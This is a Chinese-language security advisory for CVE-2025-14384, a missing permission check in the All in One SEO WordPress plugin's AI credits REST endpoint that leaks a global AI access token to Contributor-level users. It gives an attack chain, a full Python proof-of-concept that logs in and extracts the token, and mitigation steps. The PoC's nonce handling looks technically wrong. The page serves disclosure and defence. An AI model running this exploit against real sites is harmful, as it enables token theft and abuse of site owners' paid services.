IPBUF安全漏洞报告
English
CVE-2025-14384 CVSS 4.3 中危

CVE-2025-14384 WordPress All in One SEO插件REST API未授权访问漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-14384
漏洞类型
未授权访问/敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All in One SEO WordPress Plugin

相关标签

CVE-2025-14384All in One SEOWordPress插件漏洞未授权访问敏感信息泄露REST API权限绕过AI令牌泄露中危漏洞WordPress安全

漏洞概述

All in One SEO是一款流行的WordPress SEO优化插件,全球数百万网站使用。该插件在4.9.2及之前版本中存在一个严重的安全漏洞:由于REST API端点 `/aioseo/v1/ai/credits` 缺少权限检查(capability check),任何具有Contributor级别或更高权限的已认证用户都可以无需管理员授权直接访问该API接口。通过该漏洞,攻击者可以获取插件的全局AI访问令牌,该令牌通常用于连接外部AI服务。一旦攻击者获取了AI访问令牌,可能会导致:1) 外部AI服务被滥用,产生额外费用;2) AI服务账户被完全接管;3) 利用AI功能进行进一步攻击。由于WordPress的Contributor角色用户数量众多,且该漏洞利用无需复杂技术,任何了解此漏洞的低权限用户都可能实施攻击。

技术细节

漏洞根源在于All in One SEO插件的REST API路由注册时未正确实施权限检查。插件注册了 `/aioseo/v1/ai/credits` 路由来处理AI功能相关的请求,但使用了 `register_rest_route()` 函数时未指定 `permission_callback` 参数或该回调函数未正确验证用户权限。攻击者只需构造一个简单的HTTP GET请求到该REST端点,使用有效的WordPress认证cookie(Contributor级别账户),即可在响应中获取全局AI访问令牌。攻击利用步骤:首先攻击者需要拥有一个至少具有Contributor角色的WordPress账户,或者通过其他方式(如社会工程学、XSS等)获取此类账户凭据;然后使用该凭据登录后,构造对 `/wp-json/aioseo/v1/ai/credits` 端点的请求;服务器在验证用户身份后直接返回包含AI令牌的数据,未检查用户是否具有管理AI功能的权限。响应数据通常为JSON格式,其中包含 `accessToken` 或类似字段即为全局AI访问令牌。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标网站是否使用WordPress及All in One SEO插件,可通过网站源码、插件目录扫描或访问REST API元数据端点 /wp-json/ 确认插件版本
STEP 2
步骤2:获取低权限账户
攻击者需要获得至少具有Contributor角色的WordPress账户。可以通过注册功能(如果开放)、社会工程学攻击、暴力破解弱口令或利用其他漏洞获取凭据
STEP 3
步骤3:身份认证
使用获取的账户凭据登录WordPress,获取有效的会话cookie。WordPress的Contributor角色默认可以注册和登录
STEP 4
步骤4:构造恶意请求
向目标网站的REST API端点 /wp-json/aioseo/v1/ai/credits 发送GET请求,带上有效的认证cookie。由于缺少权限检查,服务器会处理该请求
STEP 5
步骤5:提取敏感信息
服务器响应包含全局AI访问令牌。攻击者从JSON响应中提取令牌,该令牌可用于访问外部AI服务或进行进一步攻击
STEP 6
步骤6:令牌滥用
攻击者可以使用获取的AI令牌:1) 滥用AI服务产生费用;2) 接管AI服务账户;3) 在其他使用相同AI服务的网站上利用该令牌

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14384 PoC - All in One SEO Plugin Unauthorized AI Token Access # Target: WordPress site with All in One SEO plugin <= 4.9.2 def exploit_aioseo_token_disclosure(target_url, username, password): """ Exploit the missing capability check on /aioseo/v1/ai/credits REST endpoint Requires Contributor-level access or higher """ session = requests.Session() # Step 1: Authenticate with WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Request the vulnerable REST endpoint api_url = f"{target_url}/wp-json/aioseo/v1/ai/credits" headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': session.cookies.get('wordpress_test_cookie') or '' } resp = session.get(api_url, headers=headers) if resp.status_code == 200: print(f"[+] Request successful - Status: {resp.status_code}") print(f"[+] Response: {resp.text}") # Extract token from response try: data = resp.json() if 'data' in data and 'accessToken' in data['data']: token = data['data']['accessToken'] print(f"[!] AI Access Token Leaked: {token}") return token except: pass return resp.json() else: print(f"[-] Request failed - Status: {resp.status_code}") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com contributor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_aioseo_token_disclosure(target, user, pwd)

影响范围

All in One SEO Plugin <= 4.9.2

防御指南

临时缓解措施
在官方安全补丁发布之前,可采取以下临时缓解措施:1) 使用Web应用防火墙(WAF)规则阻止对 /wp-json/aioseo/v1/ai/credits 端点的访问;2) 暂时禁用All in One SEO插件的AI功能(如果插件提供该选项);3) 通过.htaccess或Nginx配置限制该REST端点仅允许管理员IP访问;4) 考虑使用第三方安全服务进行实时监控和告警;5) 加强WordPress账户管理,禁用新用户注册功能并审查现有用户列表。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表